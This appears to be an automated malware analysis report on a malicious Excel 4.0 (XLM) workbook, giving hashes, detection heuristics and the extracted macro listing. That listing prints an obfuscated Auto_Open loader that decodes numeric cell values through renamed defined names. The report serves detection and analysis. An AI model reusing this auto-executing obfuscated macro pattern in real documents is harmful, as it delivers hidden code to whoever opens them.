Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8ec23b9b255168c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:32 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 31a8c6fc76206c02a422b45e67e76e27 SHA-1: 42466e265ce0797b53513adb44ae2d65b74daebf SHA-256: a8ec23b9b255168c065a40bba34b8f13faa43e6697f10a4b37c543bd91c4cd03
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: b254ff1a615b24b65c9ecdfb99824d6591357e9072d5f1b780f9eaa4ad7ab4bb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PTVb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I179 
' 0018     26 LABEL : Cell Value, String Constant - bIoVVjSqVLN len=0 
' 0018     27 LABEL : Cell Value, String Constant - BNdTGXJkuXgS len=0 
' 0018     21 LABEL : Cell Value, String Constant - BwqXsF len=0 
' 0018     24 LABEL : Cell Value, String Constant - DwklukgFo len=0 
' 0018     22 LABEL : Cell Value, String Constant - FnAoewy len=0 
' 0018     20 LABEL : Cell Value, String Constant - HZgwL len=0 
' 0018     23 LABEL : Cell Value, String Constant - IbKxyGDn len=0 
' 0018     24 LABEL : Cell Value, String Constant - jWkglpuLU len=0 
' 0018     25 LABEL : Cell Value, String Constant - LjNWARQfSh len=0 
' 0018     26 LABEL : Cell Value, String Constant - NkmKjXBbHsC len=0 
' 0018     21 LABEL : Cell Value, String Constant - nxqKIq len=0 
' 0018     25 LABEL : Cell Value, String Constant - piPlNqGUJv len=0 
' 0018     20 LABEL : Cell Value, String Constant - poCvf len=0 
' 0018     25 LABEL : Cell Value, String Constant - qTkBYYkPpJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - sKGNyMDqm len=0 
' 0018     27 LABEL : Cell Value, String Constant - SZizcrrDtXXX len=0 
' 0018     23 LABEL : Cell Value, String Constant - uIsjeGgg len=0 
' 0018     25 LABEL : Cell Value, String Constant - WBjnjYyeRD len=0 
' 0018     24 LABEL : Cell Value, String Constant - WtxdqJlrh len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZUTboqBzYg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PTVb,Q55,"",115.00000000000000000000
'  PTVb,Q56,"",269.00000000000000000000
'  PTVb,Q57,"",-107.00000000000000000000
'  PTVb,Q58,"",923.00000000000000000000
'  PTVb,Q59,"",799.00000000000000000000
'  PTVb,Q60,"",464.00000000000000000000
'  PTVb,I83,"SET.NAME("WtxdqJlrh",0+VALUE("0"))",""
'  PTVb,I86,"SET.NAME("piPlNqGUJv",WtxdqJlrh)",""
'  PTVb,I89,"SET.NAME("nxqKIq",WtxdqJlrh)",""
'  PTVb,I91,"SET.NAME("sKGNyMDqm",COUNTA(HZgwL))",""
'  PTVb,I95,"SET.NAME("LjNWARQfSh",COUNTA(jWkglpuLU))",""
'  PTVb,I98,[],""
'  PTVb,I100,"SET.NAME("NkmKjXBbHsC","")",""
'  PTVb,I104,"piPlNqGUJv",""
'  PTVb,I108,"SET.NAME("SZizcrrDtXXX",HLOOKUP("*",HZgwL,piPlNqGUJv,FALSE))",""
'  PTVb,I113,"ZUTboqBzYg",""
'  PTVb,I118,"SET.NAME("DwklukgFo",WtxdqJlrh)",""
'  PTVb,I123,[],""
'  PTVb,I128,"DwklukgFo",""
'  PTVb,I130,"uIsjeGgg",""
'  PTVb,I132,"poCvf",""
'  PTVb,I136,"IbKxyGDn",""
'  PTVb,I141,"SET.NAME("WBjnjYyeRD",VALUE(HLOOKUP("*",jWkglpuLU,IbKxyGDn,FALSE)))",""
'  PTVb,I145,"BNdTGXJkuXgS",""
'  PTVb,I150,"NkmKjXBbHsC",""
'  PTVb,I155,"nxqKIq",""
'  PTVb,I159,NEXT(),""
'  PTVb,I163,"bIoVVjSqVLN",""
'  PTVb,I167,[],""
'  PTVb,I170,"BwqXsF",""
'  PTVb,I174,NEXT(),""
'  PTVb,I176,RETURN(),""
'  PTVb,I203,"SET.NAME("qTkBYYkPpJ",I83)",""
'  PTVb,I206,"HZgwL",""
'  PTVb,I210,"SET.NAME("jWkglpuLU",R58C11)",""
'  PTVb,I212,"SET.NAME("BwqXsF",221)",""
'  PTVb,I215,"SET.NAME("FnAoewy",9)",""
'  PTVb,I220,qTkBYYkPpJ(),""
'  PTVb,I221,HALT(),""